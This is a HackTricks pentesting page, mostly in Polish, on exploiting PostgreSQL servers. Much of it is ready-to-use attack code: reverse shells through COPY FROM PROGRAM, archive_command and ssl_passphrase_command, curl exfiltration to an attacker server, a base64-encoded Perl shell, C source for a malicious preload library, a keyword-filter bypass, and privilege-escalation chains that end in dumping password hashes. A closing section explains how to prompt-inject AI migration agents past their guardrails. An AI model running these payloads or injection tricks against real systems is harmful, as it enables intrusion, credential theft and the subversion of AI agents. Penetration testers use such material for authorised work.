5432,5433 - Pentesting Postgresql
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
PostgreSQL jest opisywany jako obiektowo-relacyjny system bazodanowy, który jest otwartoźródłowy. System ten nie tylko wykorzystuje język SQL, ale także rozszerza go o dodatkowe funkcje. Jego możliwości pozwalają na obsługę szerokiego zakresu typów danych i operacji, co czyni go wszechstronnym wyborem dla programistów i organizacji.
Port domyślny: 5432, a jeśli ten port jest już używany, wydaje się, że postgresql użyje następnego portu (prawdopodobnie 5433), który nie jest używany.
PORT STATE SERVICE
5432/tcp open pgsql
Połączenie & Podstawowy Enum
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
Warning
Jeśli po uruchomieniu
\listznajdziesz bazę danych nazwanąrdsadmin, wiesz, że znajdujesz się w AWS postgresql database.
Aby uzyskać więcej informacji o wykorzystaniu bazy danych PostgreSQL, sprawdź:
Automatic Enumeration
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
Zgodnie z this research, gdy próba połączenia zakończy się niepowodzeniem, dblink zgłasza wyjątek sqlclient_unable_to_establish_sqlconnection, zawierający wyjaśnienie błędu. Przykłady tych szczegółów przedstawiono poniżej.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host jest nieosiągalny
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port jest zamknięty
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port jest otwarty
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
lub
DETAIL: FATAL: password authentication failed for user "name"
- Port jest otwarty lub filtrowany
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
W funkcjach PL/pgSQL obecnie nie można uzyskać szczegółów wyjątków. Jednak jeśli masz bezpośredni dostęp do serwera PostgreSQL, możesz pobrać potrzebne informacje. Jeśli wyciągnięcie nazw użytkowników i haseł z tabel systemowych nie jest możliwe, możesz rozważyć użycie metody wordlist attack omówionej w poprzedniej sekcji, ponieważ może to przynieść pozytywne rezultaty.
Enumeracja przywilejów
Role
| Role Types | |
|---|---|
| rolsuper | Rola ma uprawnienia superużytkownika |
| rolinherit | Rola automatycznie dziedziczy uprawnienia ról, których jest członkiem |
| rolcreaterole | Rola może tworzyć inne role |
| rolcreatedb | Rola może tworzyć bazy danych |
| rolcanlogin | Rola może się logować. To znaczy, tej roli można przypisać identyfikator autoryzacji początkowej sesji |
| rolreplication | Rola jest rolą replikacyjną. Rola replikacyjna może inicjować połączenia replikacyjne oraz tworzyć i usuwać replication slots. |
| rolconnlimit | Dla ról, które mogą się logować, to ustawia maksymalną liczbę równoczesnych połączeń, które ta rola może nawiązać. -1 oznacza brak limitu. |
| rolpassword | To nie jest hasło (zawsze wyświetla się jako ********) |
| rolvaliduntil | Czas wygaśnięcia hasła (używany tylko przy uwierzytelnianiu hasłem); null jeśli brak wygaśnięcia |
| rolbypassrls | Rola omija wszystkie polityki bezpieczeństwa na poziomie wiersza — zobacz Section 5.8 po więcej informacji. |
| rolconfig | Domyślne ustawienia specyficzne dla roli dla zmiennych konfiguracji w czasie wykonywania |
| oid | ID roli |
Interesujące grupy
- Jeśli jesteś członkiem
pg_execute_server_programmożesz wykonywać programy - Jeśli jesteś członkiem
pg_read_server_filesmożesz czytać pliki - Jeśli jesteś członkiem
pg_write_server_filesmożesz zapisywać pliki
Tip
Zauważ, że w Postgresie użytkownik, grupa i rola to to samo. Zależy to tylko od sposobu ich użycia i czy pozwolisz im na logowanie.
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
Tabele
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
Funkcje
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
Operacje na systemie plików
Odczyt katalogów i plików
Z tego commit członkowie zdefiniowanej grupy DEFAULT_ROLE_READ_SERVER_FILES (zwanej pg_read_server_files) oraz super users mogą używać metody COPY na dowolnej ścieżce (zobacz convert_and_check_filename w genfile.c):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Warning
Pamiętaj, że jeśli nie jesteś superuserem, ale masz uprawnienie CREATEROLE możesz uczynić siebie członkiem tej grupy:
GRANT pg_read_server_files TO username;
Istnieją inne funkcje Postgres, które można wykorzystać do odczytania pliku lub wylistowania katalogu. Tylko superużytkownicy i użytkownicy z wyraźnie przydzielonymi uprawnieniami mogą ich używać:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
Możesz znaleźć więcej funkcji na https://www.postgresql.org/docs/current/functions-admin.html
Proste zapisywanie plików
Tylko super users i członkowie pg_write_server_files mogą użyć copy do zapisywania plików.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Warning
Pamiętaj, że jeśli nie jesteś superuserem, ale masz uprawnienia
CREATEROLE, możesz dodać siebie do tej grupy:GRANT pg_write_server_files TO username;
Pamiętaj, że COPY nie obsługuje znaków nowej linii, dlatego nawet jeśli używasz payloadu base64 musisz wysłać go jako jednowierszowy ciąg.
Bardzo istotnym ograniczeniem tej techniki jest to, że copy nie może być użyty do zapisu plików binarnych, ponieważ modyfikuje niektóre wartości binarne.
Binary files upload
Istnieją jednak inne techniki przesyłania dużych plików binarnych:
Big Binary Files Upload (PostgreSQL)
Aktualizacja danych tabeli PostgreSQL przez zapis lokalnego pliku
Jeśli masz odpowiednie uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze przez nadpisanie powiązanego filenode w the PostgreSQL data directory. Więcej na ten temat tutaj.
Wymagane kroki:
- Uzyskaj katalog danych PostgreSQL
SELECT setting FROM pg_settings WHERE name = 'data_directory';
Uwaga: Jeśli nie jesteś w stanie pobrać bieżącej ścieżki katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL przez SELECT version() i spróbować odgadnąć ścieżkę. Typowe ścieżki katalogu danych na instalacjach Unix PostgreSQL to /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/. Częstą nazwą klastra jest main.
- Uzyskaj względną ścieżkę do filenode powiązanego z docelową tabelą
SELECT pg_relation_filepath('{TABLE_NAME}')
Zapytanie powinno zwrócić coś w stylu base/3/1337. Pełna ścieżka na dysku będzie $DATA_DIRECTORY/base/3/1337, np. /var/lib/postgresql/13/main/base/3/1337.
- Pobierz filenode za pomocą funkcji
lo_*
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- Pobierz typ danych powiązany z docelową tabelą
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- Użyj PostgreSQL Filenode Editor aby edytować filenode; ustaw wszystkie boolean flagi
rol*na 1, żeby nadać pełne uprawnienia.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

- Prześlij ponownie zmodyfikowany filenode za pomocą funkcji
lo_*i nadpisz oryginalny plik na dysku
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (Opcjonalnie) Wyczyść pamięć podręczną tabel w pamięci, uruchamiając kosztowne zapytanie SQL
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- Powinieneś teraz zobaczyć zaktualizowane wartości tabel w PostgreSQL.
Możesz też zostać superadminem edytując tabelę pg_authid. Zobacz następującą sekcję.
RCE
RCE to program
Od wersji 9.3, tylko superuserzy oraz członkowie grupy pg_execute_server_program mogą używać copy do RCE (przykład z exfiltracją:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
Przykład do exec:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Warning
Pamiętaj, że jeśli nie jesteś superużytkownikiem, ale masz uprawnienie
CREATEROLE, możesz uczynić siebie członkiem tej roli:GRANT pg_execute_server_program TO username;
Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.
Omijanie filtrów słów kluczowych/WAF, by dotrzeć do COPY PROGRAM
W kontekstach SQLi ze stacked queries, WAF może usunąć lub zablokować dosłowne słowo kluczowe COPY. Możesz dynamicznie zbudować instrukcję i wykonać ją wewnątrz bloku PL/pgSQL DO. Na przykład skonstruuj początkowe C za pomocą CHR(67), aby obejść naiwne filtry i EXECUTE złożone polecenie:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
Ten schemat omija statyczne filtrowanie słów kluczowych i nadal umożliwia wykonywanie poleceń systemu operacyjnego za pomocą COPY ... PROGRAM. Jest szczególnie przydatny, gdy aplikacja zwraca błędy SQL i pozwala na zagnieżdżone zapytania.
RCE with PostgreSQL Languages
RCE with PostgreSQL extensions
Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.
RCE with PostgreSQL Extensions
RCE przez plik konfiguracyjny PostgreSQL
Tip
Poniższe wektory RCE są szczególnie przydatne w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
Plik konfiguracyjny PostgreSQL jest zapisywalny przez postgres user, który uruchamia bazę danych, więc jako superuser możesz zapisywać pliki w systemie plików, a tym samym możesz nadpisać ten plik.
.png)
RCE with ssl_passphrase_command
More information about this technique here.
Plik konfiguracyjny ma kilka interesujących atrybutów, które mogą prowadzić do RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'Ścieżka do prywatnego klucza bazy danychssl_passphrase_command = ''Jeśli prywatny plik jest chroniony hasłem (zaszyfrowany) postgresql wykona polecenie wskazane w tym atrybucie.ssl_passphrase_command_supports_reload = offJeżeli ten atrybut jest on to polecenie, wykonywane jeśli klucz jest chroniony hasłem, zostanie uruchomione gdypg_reload_conf()zostanie wywołane.
W takim razie atakujący będzie musiał:
- Dump private key from the server
- Encrypt downloaded private key:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key- Overwrite
- Dump the current postgresql configuration
- Overwrite the configuration with the mentioned attributes configuration:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = on- Execute
pg_reload_conf()
Podczas testów zauważyłem, że to zadziała tylko wtedy, gdy plik prywatnego klucza ma uprawnienia 640, jest własnością root i należy do grupy ssl-cert lub postgres (tak aby postgres user mógł go odczytać), oraz znajduje się w /var/lib/postgresql/12/main.
RCE with archive_command
More information about this config and about WAL here.
Innym atrybutem w pliku konfiguracyjnym, który można wykorzystać, jest archive_command.
Aby to zadziałało, ustawienie archive_mode musi być 'on' lub 'always'. Jeśli tak jest, możemy nadpisać polecenie w archive_command i wymusić jego wykonanie poprzez operacje WAL (write-ahead logging).
Ogólne kroki to:
- Sprawdzić, czy archive mode jest włączony:
SELECT current_setting('archive_mode') - Nadpisać
archive_commandładunkiem. Na przykład reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl' - Przeładować konfigurację:
SELECT pg_reload_conf() - Wymusić wykonanie operacji WAL, która wywoła archive command:
SELECT pg_switch_wal()lubSELECT pg_switch_xlog()w niektórych wersjach Postgres
Edycja postgresql.conf przez Large Objects (SQLi-friendly)
Gdy potrzebne są zapisy wieloliniowe (np. aby ustawić wiele GUC), użyj PostgreSQL Large Objects, aby odczytać i nadpisać konfigurację w całości z poziomu SQL. Podejście to jest idealne w kontekstach SQLi, gdzie COPY nie radzi sobie z nowymi liniami lub zapisami binarnymi.
Przykład (dostosuj wersję główną i ścieżkę w razie potrzeby, np. wersja 15 na Debianie):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
To daje niezawodne wykonywanie poleceń systemu operacyjnego za pomocą archive_command jako użytkownik postgres, pod warunkiem że archive_mode jest włączony. W praktyce ustawienie niskiego archive_timeout może spowodować szybkie wywoływanie bez konieczności wykonywania jawnego przełączenia WAL.
RCE with preload libraries
More information about this technique here.
This attack vector takes advantage of the following configuration variables:
session_preload_libraries– libraries that will be loaded by the PostgreSQL server at the client connection.dynamic_library_path– list of directories where the PostgreSQL server will search for the libraries.
Możemy ustawić wartość dynamic_library_path na katalog zapisywalny przez użytkownika postgres uruchamiającego bazę danych, np. katalog /tmp/, i przesłać tam złośliwy obiekt .so. Następnie wymusimy, by serwer PostgreSQL załadował naszą przesłaną bibliotekę, umieszczając jej nazwę w zmiennej session_preload_libraries.
The attack steps are:
- Pobierz oryginalny
postgresql.conf - Dołącz katalog
/tmp/do wartościdynamic_library_path, np.dynamic_library_path = '/tmp:$libdir' - Dodaj nazwę złośliwej biblioteki do wartości
session_preload_libraries, np.session_preload_libraries = 'payload.so' - Sprawdź główną wersję PostgreSQL zapytaniem
SELECT version() - Skompiluj kod złośliwej biblioteki przy użyciu odpowiedniego pakietu deweloperskiego PostgreSQL. Przykładowy kod:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Compiling the code:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- Prześlij złośliwy
postgresql.confutworzony w krokach 2–3 i nadpisz oryginalny plik - Prześlij
payload.soz kroku 5 do katalogu/tmp - Przeładuj konfigurację serwera przez restart serwera lub wywołanie zapytania
SELECT pg_reload_conf() - Przy następnym połączeniu z bazą danych otrzymasz połączenie reverse shell.
Postgres Privesc
CREATEROLE Privesc
Grant
According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.
Zatem, jeśli masz uprawnienie CREATEROLE, możesz nadać sobie dostęp do innych roles (które nie są superuserami), co może dać możliwość odczytu i zapisu plików oraz wykonywania poleceń:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
Zmiana hasła
Użytkownicy z tą rolą mogą także zmieniać hasła innych użytkowników niebędących superuserami:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
Jest dość powszechne, że lokalni użytkownicy mogą logować się do PostgreSQL bez podawania hasła. W związku z tym, gdy uzyskasz uprawnienia do wykonywania kodu, możesz wykorzystać te uprawnienia, aby nadać sobie rolę SUPERUSER:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
Tip
Zwykle jest to możliwe z powodu następujących linii w pliku
pg_hba.conf:# "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
ALTER TABLE privesc
W this writeup wyjaśniono, jak było możliwe dokonanie privesc w Postgres na GCP przez nadużycie uprawnienia ALTER TABLE przyznanego użytkownikowi.
When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that opcję użytkownikowi postgres, który nie jest super user in GCP:
.png)
Łącząc ten pomysł z faktem, że gdy polecenia INSERT/UPDATE/ANALYZE są wykonywane na tabeli z funkcją indeksu, to funkcja jest wywoływana jako część polecenia z uprawnieniami właściciela tabeli. Możliwe jest utworzenie indeksu z funkcją i nadanie uprawnień właściciela super user nad tą tabelą, a następnie uruchomienie ANALYZE na tej tabeli z złośliwą funkcją, która będzie mogła wykonywać polecenia, ponieważ używa uprawnień właściciela.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Exploitation
- Rozpocznij od utworzenia nowej tabeli.
- Wstaw trochę nieistotnych danych do tabeli, aby dostarczyć danych dla funkcji indeksu.
- Opracuj złośliwą funkcję indeksu zawierającą payload do wykonania kodu, umożliwiającą uruchamianie nieautoryzowanych poleceń.
- Użyj ALTER, aby zmienić właściciela tabeli na “cloudsqladmin”, który jest rolą superużytkownika GCP używaną wyłącznie przez Cloud SQL do zarządzania i utrzymania bazy danych.
- Wykonaj operację ANALYZE na tabeli. Ta akcja zmusza silnik PostgreSQL do przełączenia się na kontekst użytkownika właściciela tabeli, “cloudsqladmin”. W konsekwencji złośliwa funkcja indeksu zostaje wywołana z uprawnieniami “cloudsqladmin”, co umożliwia wykonanie wcześniej nieautoryzowanego polecenia powłoki.
W PostgreSQL taki przebieg wygląda mniej więcej tak:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
Następnie tabela shell_commands_results będzie zawierać wynik wykonanego kodu:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
Logowanie lokalne
Niektóre źle skonfigurowane instancje postgresql mogą umożliwiać logowanie dowolnego lokalnego użytkownika; możliwe jest zalogowanie się z 127.0.0.1 przy użyciu funkcji dblink:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Warning
Zauważ, że aby poprzednie zapytanie zadziałało funkcja
dblinkmusi istnieć. Jeśli jej nie ma, możesz spróbować ją utworzyć za pomocąCREATE EXTENSION dblink;
Jeśli masz hasło użytkownika z większymi uprawnieniami, ale użytkownikowi nie wolno logować się z zewnętrznego adresu IP, możesz użyć następującej funkcji, aby wykonywać zapytania jako ten użytkownik:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Można sprawdzić, czy ta funkcja istnieje za pomocą:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
Funkcja zdefiniowana przez użytkownika z SECURITY DEFINER
In this writeup, pentesters byli w stanie privesc w instancji postgres udostępnionej przez IBM, ponieważ znaleźli tę funkcję z flagą SECURITY DEFINER:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
As explained in the docs funkcja z SECURITY DEFINER jest wykonywana z uprawnieniami użytkownika, który jest jej właścicielem. Dlatego, jeśli funkcja jest podatna na SQL Injection lub wykonuje jakieś uprzywilejowane działania z parametrami kontrolowanymi przez atakującego, może zostać wykorzystana do escalate privileges inside postgres.
W linii 4 powyższego kodu widać, że funkcja ma flagę SECURITY DEFINER.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
A następnie execute commands:
.png)
Pass Burteforce with PL/pgSQL
PL/pgSQL to pełnoprawny język programowania, który oferuje większą kontrolę proceduralną w porównaniu do SQL. Umożliwia użycie pętli i innych struktur sterujących, aby wzbogacić logikę programu. Dodatkowo, SQL statements i triggers mogą wywoływać funkcje stworzone przy użyciu języka PL/pgSQL. Ta integracja pozwala na bardziej wszechstronne podejście do programowania baz danych i automatyzacji.
Możesz nadużyć tego języka, aby poprosić PostgreSQL o brute-force poświadczeń użytkowników.
Privesc przez nadpisanie wewnętrznych tabel PostgreSQL
Tip
Następujący vektor privesc jest szczególnie użyteczny w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
Jeśli możesz odczytywać i zapisywać pliki serwera PostgreSQL, możesz stać się superuserem przez nadpisanie filenode’a PostgreSQL na dysku, związanego z wewnętrzną tabelą pg_authid.
Przeczytaj więcej o tej technice tutaj.
The attack steps are:
- Uzyskaj katalog danych PostgreSQL
- Uzyskaj relatywną ścieżkę do filenode’a związanego z tabelą
pg_authid - Pobierz filenode za pomocą funkcji
lo_* - Uzyskaj typ danych powiązany z tabelą
pg_authid - Użyj PostgreSQL Filenode Editor aby edytować filenode; ustaw wszystkie flagi boolean
rol*na 1, aby nadać pełne uprawnienia. - Prześlij ponownie edytowany filenode za pomocą funkcji
lo_*i nadpisz oryginalny plik na dysku - (Opcjonalnie) Wyczyść pamięć podręczną tabel w pamięci, uruchamiając kosztowne zapytanie SQL
- Powinieneś teraz mieć uprawnienia pełnego superadmina.
Prompt-injecting managed migration tooling
AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts. A practical workflow is:
- Enumerate who is actually applying migrations:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
- Prompt-inject the agent into running attacker SQL via the privileged migration tool. Framing payloads as “please verify this migration is denied” consistently bypasses basic guardrails.
- Once arbitrary DDL runs in that context, immediately create attacker-owned tables or extensions that grant persistence back to your low-privileged account.
Tip
Zobacz także ogólny AI agent abuse playbook for more prompt-injection techniques against tool-enabled assistants.
Dumping pg_authid metadata via migrations
Uprzywilejowane migracje mogą umieścić pg_catalog.pg_authid w attacker-readable table, nawet jeśli bezpośredni dostęp jest zablokowany dla twojej normalnej roli.
Etapowanie metadanych pg_authid za pomocą uprzywilejowanej migracji
```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```Użytkownicy o niskich uprawnieniach mogą teraz odczytać public.ai_models, aby uzyskać SCRAM hashes i role metadata dla offline cracking lub lateral movement.
Event-trigger privesc podczas instalacji rozszerzenia postgres_fdw
